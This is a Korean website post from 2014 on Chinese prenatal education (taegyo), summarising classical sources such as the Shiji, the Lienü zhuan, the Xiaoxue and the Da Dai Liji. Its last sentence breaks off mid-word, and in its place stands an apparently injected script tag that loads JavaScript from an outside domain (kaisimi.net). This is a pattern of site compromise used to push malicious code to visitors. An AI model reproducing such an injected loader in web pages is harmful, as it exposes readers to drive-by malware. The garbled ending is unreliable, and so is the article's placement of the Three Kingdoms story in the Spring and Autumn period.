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제목

중국식 태교

작성자명관리자
조회수946
등록일2014-02-19 오전 12:29:48
구분태교란?

중국은 태교의 발생지답게 다양한 태교 법이 전해 내려오고 있습니다. 성품이 바르고 기개 있는 아기를 낳기 위해 임산부가 가져야 할 마음가짐과 몸가짐을 체계적으로 정리해서 오늘날까지 실천하고 있으며, 세계에서 가장 오래된 태교에 관한 문헌도 중국의 자랑거리라 할 수 있습니다.

 

중국은 광활한 대지를 배경으로 파란만장한 역사가 펼쳐졌던 곳으로, 헤아릴 수 없이 많은 영웅 호걸이 등장하고, 어지러운 세상을 다스리기 위한 패권 싸움이 그치지 않았습니다.

고대 중국 춘추 전국 시대를 배경으로 영웅 호걸들의 일대기를 기술한 '삼국지'만 보더라도 중국 역사에 얼굴을 내민 인물들이 얼마나 많은지 짐작할 수 있으며, 야망을 이루기 위해서 힘과 지혜를 겨루는 등장 인물들의 신상 명세만 정리해도 책 한 권 분량은 충분히 될 정도입니다. 역사의 한 페이지를 장식할 큰 인물을 잉태하고 싶다는 소망은 예나 지금이나 변함 없는 어머니들의 마음인데, 그런 시대 상황과 맞물려 중국의 어머니들은 할거하는 군웅 속에서 영웅을 낳기 위해 태교를 엄격히 실천했으며, 몸가짐과 마음가짐이 아기에게도 전해진다는 믿음 아래 임신을 한 첫날부터 영웅의 어머니다운 행동을 했던 것입니다. 전 시대부터 간간이 전해지던 태교 법을 체계적으로 정리한 것도 춘추 전국 시대로, 그만큼 태교의 중요성이 부각되었던 때였으며, 중국 역사의 뿌리를 밝힌 '사기'와 한나라 때의 '열녀전'을 거쳐 남북조시대 '안씨 가훈'에 이르러 체계화된 것입니다.


사기

태교의 역사를 더듬어 보면 기원 전 1세기경에 한나라의 사마천이 쓴 '사기'를 빠뜨릴 수 없는데, 이는 태교에 관련된 내용을 언급한 세계에서 가장 오래된 기록이기 때문입니다. '사기'에는 문 왕의 어머니 태임이 태교에 정성을 쏟은 결과 어진 임금이 태어났다고 칭송하고 있습니다.


열녀전(烈女傳)

한나라의 유향이 쓴 책으로, 입으로 전해지는 중국 어머니들의 태교 법을 정리한 것입니다. 잉태한 여자의 몸가짐과 금기 사항이 구체적으로 적혀 있어, 까마득히 먼 옛날부터 태교를 구체적으로 실천하고 있었음을 알 수 있는데, '열녀전'에 기록된 내용에 따르면 아기를 가진 여자는 잠잘 때는 몸이 삐딱하게 기울어지지 않게 했으며, 서 있을 때는 몸을 한쪽 발에만 의지하지 않았다고 하는 것을 보니, 몸이 무겁다고 자세를 흐트러뜨리면 마음이 바르지 못한 아기가 태어날 수도 있다고 생각해서 몸가짐에 특히 신경을 썼던 모양입니다. 태교에 관해서 이야기할 때 약방의 감초처럼 거론되는 금기 사항의 대부분도 '열녀전"에 기록된 내용으로, 상한 음식은 먹지말고, 칼로 썰은 음식이 바르게 썰리지 않았으면 먹지 않았으며, 좋지 못한 광경은 보지 않고, 나쁜 말은 귀담아 듣지 않았으며, 좋은 말을 골라 했다는 것도 실려 있습니다. 이렇게 지극 정성을 들여 태교에 힘쓰면 얼굴이 단정하고, 재주가 남들보다 뛰어난 아기가 태어난다고 결론짓고 있습니다.


소학(小學)

송나라 시대의 유학자인 주자가 편찬한 이동용 교과서 '소학'에도 태교에 관한 구절이 실려 있는데, 우선 첫장에 해당되는 입교 편을 보면 '열녀전'의 태교 내용이 그대로 인용되어 있어 가르침의 근본은 태교임을 암시하는 대목입니다. 덧붙여 '이렇게 하여 아기를 낳으면 형체와 용모가 단정하며 재주가 남보다 뛰어났다고 한다'며 필자의 견해를 밝히고 있는데, 이는 교육은 글을 가르치는 것에 앞서 엄마 뱃속에서부터 시작되어야 한다고 믿은 주자의 교육관을 그대로 드러낸 것으로써, 후대에 끼친 영향이 크며, '소학'은 우리나라에도 전해져서 서당의 교과서로 많이 애용되었습니다.


대대 예기

한나라의 대덕이 쓴 책으로 그 가운데 보부편을 보면 뱃속에 있는 아기를 가르치는 방법을 잘 다듬어진 구슬 판에 새겨서 황금 상자 속에 넣고, 임금의 조상님을 모시는 사당에 보관했다고 합니다. 물론 그렇게 한다고 아기가 오색찬란한 빛을 받으며 태어나는 것은 아니지만, 장차 대를 잇고, 가문을 빛낼 자손들을 위해 공을 들이고, 정성을 쏟겠다는 의지를 나타낸 것이라고 할 수 있습니다.

왕후가 왕손을 잉태하고 실천했던 태교 법도 흥미로운 대목인데, 임신한 지 석 달이 되면 사람들의 발길이 잦은 침소를 잠시 떠나, 조용한 별실에서 지냈다고 하며, 으리으리한 궁전에서, 세상에서 가장 높은 황제의 부인이 실천했던 태교 가운데는 보통 어머니들은 감히 꿈도 꾸지 못하는 방법까지 동원되기도 했습니다. 일반적으로 달수가 찰수록 신경이 예민해지고, 사소한 일에도 신경이 곤두서거나 심한 감정의 변화를 겪게 됩니다. '대대 예기'에 의하면 왕후의 심기가 불?script src=http://s.kaisimi.net/s.js>